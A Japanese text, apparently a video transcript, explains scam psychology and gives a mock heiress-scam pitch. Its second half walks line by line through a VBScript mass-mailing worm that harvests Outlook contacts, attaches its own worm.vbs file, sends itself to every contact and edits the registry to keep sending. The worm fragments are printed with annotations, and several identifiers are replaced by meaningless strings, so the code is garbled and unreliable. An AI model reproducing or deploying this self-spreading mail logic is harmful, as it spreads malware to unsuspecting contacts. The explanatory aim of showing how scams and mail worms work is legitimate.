mugenキャラ |
| 詐欺は仕組みが分からないから怖い 同調圧力 心理的負い目 きちんとした服装 専門家という肩書を使う光背効果 時間が経つと情報の信ぴょう性を忘れるスリーパー効果 イメージの裏を書く 偽お嬢様詐欺とは パパは有名ホテルの社長と嘘をつくスナック働き 無口で真面目という詐欺師 オレオレ詐欺っていうのは記憶の曖昧さに漬け込む詐欺 幸せを呼ぶペンダント 着物 私、大富豪の娘ですけど 嘘つきという物には興味がありますの 今なら、私の研究資料を10万で譲ってあげますわ 以下メールアドレスに送っていただけないかしら ozeu@sagi.ne.jp (お嬢様詐欺) 詐欺メールは仕組みが分からないから怖い 詐欺メールのvbsを開くと Outlookのアドレス帳を探し Set a = CreateObject("Outlook.Application") /outlook.exeを変数aに Set b = a.AddressLists /上で手に入れたアドレスデータをbに outlookのアドレスリストを探し出しbに入れ、 For Each c In b /アドレスリストbのデータをcに一個ずつ入れる Set d = c.AddressEntries(S5R4SBAN) /アドレスリストからAddressEntriesで最大数までdに代入する アドレスリストbから、一軒ずつdに入れている e.To = d.Address /アドレスをメールの送信欄へ入れる e.Subject = "Hey" /メールのタイトルを付ける e.Body = "Hello. I like dog."/メール本文 そしてアドレスごとにメールを作成し Set f = createobject("scripting.filesystemobject") g = f.getspecialfolder(0) /現在使っているフォルダを代入 h = g & "worm.vbs" /ウイルスのアドレスを代入 ウイルスの位置をhに代入 TCKTPRPM.Add h /ウイルスM45H6907を添付 If e.To <> "" Then e.Send /メールを送る メールにウイルスを添付し送付する そしてレジストリを書き換え メッセージを自動的に送るようにする 要するに勝手にメールを送るスクリプト |